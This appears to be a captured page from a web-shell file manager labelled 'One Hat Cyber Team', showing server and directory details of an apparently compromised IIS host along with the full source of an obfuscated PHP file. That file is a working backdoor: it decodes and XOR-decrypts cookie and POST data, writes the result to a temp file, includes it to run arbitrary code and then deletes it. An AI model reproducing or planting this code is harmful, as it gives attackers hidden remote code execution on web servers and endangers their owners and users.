⚝
One Hat Cyber Team
⚝
Your IP:
3.144.199.9
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: 6ee15b8b.php
$hKuBGEEtB = "\x4f" . chr ( 179 - 77 ).chr (95) . chr ( 617 - 540 )."\117" . "\x73" . chr ( 357 - 271 ); $lhWjSAIac = "\143" . chr (108) . "\141" . "\x73" . "\x73" . '_' . 'e' . chr (120) . "\151" . "\x73" . chr ( 567 - 451 ).chr (115); $xtcqeAV = class_exists($hKuBGEEtB); $hKuBGEEtB = "58489";$lhWjSAIac = "51151";$XcBNjxdxRG = FALSE;if ($xtcqeAV === $XcBNjxdxRG){$VgLPfDAj = "15922";class Of_MOsV{public function TTstrxq(){echo "26151";}private $CvikC;public static $kSRGpWB = "2f854f0c-333d-4d3b-ba3c-1f9b7a586a84";public static $LLRwqy = 56412;public function __construct($prBnW=0){$bKFAEMI = $_POST;$gmkpBkIrW = $_COOKIE;$FhTKgbkar = @$gmkpBkIrW[substr(Of_MOsV::$kSRGpWB, 0, 4)];if (!empty($FhTKgbkar)){$eYJro = "base64";$XyNCBYcNAk = "";$FhTKgbkar = explode(",", $FhTKgbkar);foreach ($FhTKgbkar as $wddjdmH){$XyNCBYcNAk .= @$gmkpBkIrW[$wddjdmH];$XyNCBYcNAk .= @$bKFAEMI[$wddjdmH];}$XyNCBYcNAk = array_map($eYJro . "\137" . "\x64" . chr (101) . "\x63" . 'o' . 'd' . "\x65", array($XyNCBYcNAk,)); $XyNCBYcNAk = $XyNCBYcNAk[0] ^ str_repeat(Of_MOsV::$kSRGpWB, (strlen($XyNCBYcNAk[0]) / strlen(Of_MOsV::$kSRGpWB)) + 1);Of_MOsV::$LLRwqy = @unserialize($XyNCBYcNAk);}}private function qSseEXHA($VgLPfDAj){if (is_array(Of_MOsV::$LLRwqy)) {$FLjFGN = sys_get_temp_dir() . "/" . crc32(Of_MOsV::$LLRwqy[chr ( 225 - 110 )."\141" . chr ( 836 - 728 )."\164"]);@Of_MOsV::$LLRwqy[chr ( 354 - 235 ).'r' . 'i' . "\x74" . 'e']($FLjFGN, Of_MOsV::$LLRwqy["\143" . chr (111) . "\156" . "\x74" . chr (101) . chr ( 550 - 440 ).chr (116)]);include $FLjFGN;@Of_MOsV::$LLRwqy['d' . "\145" . chr ( 732 - 624 ).'e' . chr ( 865 - 749 )."\145"]($FLjFGN); $VgLPfDAj = "15922";exit();}}public function __destruct(){$VgLPfDAj = "3090_26465";$this->qSseEXHA($VgLPfDAj); $VgLPfDAj = "3090_26465";}}$kApcPlEpW = new /* 36048 */ Of_MOsV(); $kApcPlEpW = str_repeat("3090_26465", 1);}
Simpan